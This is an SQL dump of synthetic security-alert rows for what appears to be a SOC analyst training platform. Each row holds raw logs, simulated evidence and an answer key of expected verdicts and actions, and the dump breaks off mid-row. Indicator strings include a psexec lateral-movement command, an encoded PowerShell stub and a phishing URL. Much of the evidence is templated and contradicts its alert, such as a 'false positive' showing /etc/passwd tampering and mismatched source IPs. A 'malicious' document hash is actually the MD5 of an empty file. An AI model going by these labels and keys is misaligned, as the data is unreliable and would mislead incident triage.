(1315, 'Suspicious Multi-Hop C2 Communication Detected', 'high', 'ThreatConnect', 'Detected multi-hop command and control communication through legitimate services like Slack and GitHub, indicating possible APT activity.', 'C2 Communication', 'T1102', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T08:27:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"104.244.42.65\",\"dst_ip\":\"192.168.1.15\",\"username\":\"admin\",\"hostname\":\"server02\",\"domain\":\"slack.com\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"104.244.42.65\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"slack.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate domain used for obfuscation\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2_communication\",\"analysis_notes\":\"The use of legitimate services for C2 communication is a hallmark of advanced persistent threats, confirming the alert.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.785Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T08:27:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"104.244.42.65\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server02\\\",\\\"domain\\\":\\\"slack.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1316, 'Detected DGA Domain Activity Indicative of APT Campaign', 'critical', 'MISP', 'A domain generated by a Domain Generation Algorithm (DGA) was detected, commonly used by APT actors for stealthy communication.', 'DGA Activity', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T11:04:21Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"198.51.100.10\",\"username\":\"bsmith\",\"hostname\":\"desktop03\",\"domain\":\"xylznbqweu.com\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple DGA campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xylznbqweu.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Domain identified as part of DGA activity\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"dga_activity\",\"analysis_notes\":\"The detection of a DGA domain strongly suggests APT involvement, confirming this alert as a true positive.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1317, 'Detected Brute Force Attack from Suspicious IP', 'high', 'Anomali', 'A high number of failed login attempts were detected from a foreign IP address, suggesting a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T09:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.30\",\"username\":\"mjohnson\",\"hostname\":\"server04\",\"failed_attempts\":47}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 432 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mjohnson\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Username involved in brute force attempt\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed attempts from a known malicious IP confirms the alert as a true positive.\"}', 'Expert', 'TI', 9, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"},{\"timestamp\":\"2026-03-02T13:54:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"},{\"timestamp\":\"2026-03-02T13:53:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"},{\"timestamp\":\"2026-03-02T13:52:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"},{\"timestamp\":\"2026-03-02T13:51:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1318, 'Phishing Attempt Detected via Spoofed Domain', 'medium', 'Proofpoint', 'A phishing email was detected containing a link to a spoofed domain designed to mimic a legitimate financial institution.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T12:14:33Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.75\",\"dst_ip\":\"192.168.1.50\",\"username\":\"kthompson\",\"hostname\":\"laptop01\",\"email_sender\":\"alert@secure-finance.com\",\"url\":\"http://secure-f1nance.com/login\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 254 times for phishing activity\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://secure-f1nance.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL identified as part of phishing campaign\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"alert@secure-finance.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email sender domain closely resembles a legitimate domain\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The phishing URL and spoofed email domain confirm the alert as a true positive.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt Detected via Spoofed Domain\",\"date\":\"2026-03-02T13:55:06.792Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1319, 'Legitimate Remote Access Tool Misidentified as Malicious', 'low', 'Wazuh', 'A legitimate remote access tool was flagged as malicious due to its use of obfuscation techniques.', 'Malware', 'T1219', 0, 'New', NULL, '{\"timestamp\":\"2026-03-01T16:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"172.16.0.100\",\"username\":\"it_support\",\"hostname\":\"support-pc\",\"command_line\":\"remotesupport.exe /connect /obfuscate\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"remotesupport.exe /connect /obfuscate\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command line typical for internal IT operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command line execution belongs to a known legitimate remote support tool, confirming the false positive.\"}', 'Expert', 'TI', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1320, 'Detected Fast-Flux DNS Activity from Internal Server', 'medium', 'Splunk', 'An internal server was observed engaging in fast-flux DNS activity, commonly associated with botnet behavior.', 'DNS Anomaly', 'T1090', 0, 'New', NULL, '{\"timestamp\":\"2026-03-01T13:45:12Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.85\",\"username\":\"system\",\"hostname\":\"dns-server\",\"domain\":\"fluxdns.example.com\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of DNS server\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"fluxdns.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Domain used for legitimate testing purposes\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"dns_anomaly\",\"analysis_notes\":\"The activity was traced back to a legitimate testing process, confirming the false positive.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1321, 'Subtle Indicators of Lateral Movement Detected', 'high', 'CrowdStrike', 'Detected subtle indicators of lateral movement within the network using PSExec and WMI, likely part of a larger APT attack.', 'Lateral Movement', 'T1021', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T07:29:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.40\",\"dst_ip\":\"192.168.1.41\",\"username\":\"svc_admin\",\"hostname\":\"server05\",\"command_line\":\"psexec \\\\\\\\192.168.1.41 -u svc_admin -p ******** cmd\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address initiating lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.41 -u svc_admin -p ******** cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution indicative of lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec and WMI in this context aligns with known lateral movement techniques, confirming the alert.\"}', 'Expert', 'TI', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1322, 'Initial Access: Phishing Campaign Detected', 'high', 'Email Gateway Logs', 'A phishing email has been detected targeting employees within key Israeli organizations. The email contains a malicious attachment designed to gain unauthorized access to the network.', 'Phishing', 'TA0001 - Initial Access', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T08:45:00Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.15\",\"src_email\":\"attacker@m0s3sstaff.com\",\"dst_email\":\"employee@israeli-org.co.il\",\"subject\":\"Urgent Update Required\",\"attachment\":{\"filename\":\"update-instructions.docx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36\",\"action\":\"Email delivered\",\"status\":\"Suspicious\"}', '2026-03-01 22:55:52', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@m0s3sstaff.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Email domain linked to Moses Staff APT\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malicious document\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Phishing Campaign 